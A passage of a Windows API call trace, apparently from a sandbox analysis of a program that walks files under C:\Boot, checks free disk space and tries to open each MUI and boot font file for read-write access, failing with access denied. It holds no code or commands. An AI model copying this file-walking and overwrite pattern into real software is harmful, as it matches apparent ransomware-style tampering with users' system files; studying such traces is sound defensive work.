RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.010] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.010] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.011] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.011] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\en-US", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.011] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.011] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.011] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50)) returned 1 [0151.011] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.011] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50)) returned 1 [0151.011] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.011] GetLastError () returned 0x5 [0151.011] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.011] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.011] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.011] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0151.011] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.011] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.011] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.012] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.012] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\es-ES", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.012] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.012] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.012] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0151.012] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.012] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0151.012] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.012] GetLastError () returned 0x5 [0151.012] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.012] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.012] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.012] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40)) returned 1 [0151.013] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.013] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.013] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.013] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.013] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\fi-FI", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.013] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.013] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.013] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40)) returned 1 [0151.013] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.013] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40)) returned 1 [0151.013] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.013] GetLastError () returned 0x5 [0151.013] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.013] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.013] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.013] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00)) returned 1 [0151.014] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.014] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.014] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.014] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.014] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.014] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.014] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.014] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00)) returned 1 [0151.014] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.014] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00)) returned 1 [0151.014] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.014] GetLastError () returned 0x5 [0151.014] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.014] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.014] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.014] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4)) returned 1 [0151.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.086] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.086] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.086] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.086] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.086] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4)) returned 1 [0151.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.086] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4)) returned 1 [0151.086] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.086] GetLastError () returned 0x5 [0151.086] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.086] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.086] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4)) returned 1 [0151.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.087] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.087] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4)) returned 1 [0151.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.087] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4)) returned 1 [0151.087] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.087] GetLastError () returned 0x5 [0151.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.087] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20)) returned 1 [0151.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.088] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.088] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.088] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.088] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.088] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.088] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20)) returned 1 [0151.088] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.088] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20)) returned 1 [0151.088] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.088] GetLastError () returned 0x5 [0151.088] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.088] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.088] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.088] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c)) returned 1 [0151.088] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.088] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.088] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.089] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.089] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.089] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.089] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.089] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c)) returned 1 [0151.089] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.089] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c)) returned 1 [0151.089] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" 